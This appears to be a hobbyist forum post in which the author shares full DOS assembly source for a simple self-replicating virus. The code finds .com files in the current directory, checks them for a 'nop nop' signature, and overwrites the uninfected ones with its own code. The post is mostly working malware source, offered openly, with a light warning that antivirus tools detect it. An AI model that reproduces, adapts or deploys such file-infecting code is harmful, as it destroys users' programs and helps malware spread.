Hello people! This is not a scam!! I actually made a real virus!!
The definition of a virus is, basically, to be able to reproduce itself in other files infecting them with their code.
My virus:
- Has a signature.
- Reads files with the extension I set it to read the files
- If he finds a file with the virus signature, its already infected and it goes looking for another file.
- If he finds a file not infected, opens the file and write its own code on it.
Done!
I haven't find a way to create it in C language. Try making a code that write's itself... :S it's hard. I have done it with Assembly. I could give you the virus, but I will only display the code. Once Assembled and in my computer, AVG killed it instantly, so he couldn't infect anything...
Heres the code for the curious minds.
Code:
; VIRUS
org 100h
section .text
main:
; signature
nop
nop
; 1) gets every *.com file in directory
; 2) check if file is infected, if it has nop nop
; 3) if not infected, infect
; looks for the first file
mov ah,4eh
mov dx,maskcom
mov cx,0000000000100000b ; filetype to infect , CX 16bits | CH | CL | <- CX
int 21h
; if carry is 1 - jum to end - no files found
; if not go test
jc fim
jmp testar
; go search next file
seguinte:
mov ah,4fh
int 21h
jc fim ; if carry 1 - jump to end - no files found
testar :
; check if file is infected with signaturee
; if infected, go next, if not infect
; open file to infect
mov ah,3dh
mov al,00h
; filename is on 9eh
mov dx,9eh
int 21h
; keeps file handle in handle var
mov word [handle],ax
; reads files to check if there is the signature
mov ah,3fh
mov bx,word [handle]
mov cx,2
mov dx,verificar
int 21h
; close
mov ah,3eh
mov bx,word [handle]
int 21h
; compare is what was read is == to nop nop ( 9090h )
; infectado
cmp word [verificar],9090h
je seguinte
; if not infected, infect
; open file to infect
mov ah,3dh
mov al,01h
mov dx,9eh
int 21h
mov word [handle],ax
; write the virus code plus signature
mov ah,40h
mov bx,word [handle]
mov cx,114 ; chars to write
mov dx,main ; writes where main pointer is.
int 21h
; close file
mov ah,3eh
mov bx,word [handle]
int 21h
; looks for another file in directory
jmp seguinte
fim:
mov ah,4ch
int 21h
section .data
; ASCIIZ
maskcom db "*.com",0 ; filetype to infect
section .bss
handle resw 1
verificar resb 2 ; 2 byte
And this is it.

DO NOT TRY THIS AT HOME, OR IF YOU DO, BE SURE TO HAVE AN UPDATED ANTI-VIRUS!!! Although this will do nothing, because its HIGHLY detectable by any antivirus.
Have fun.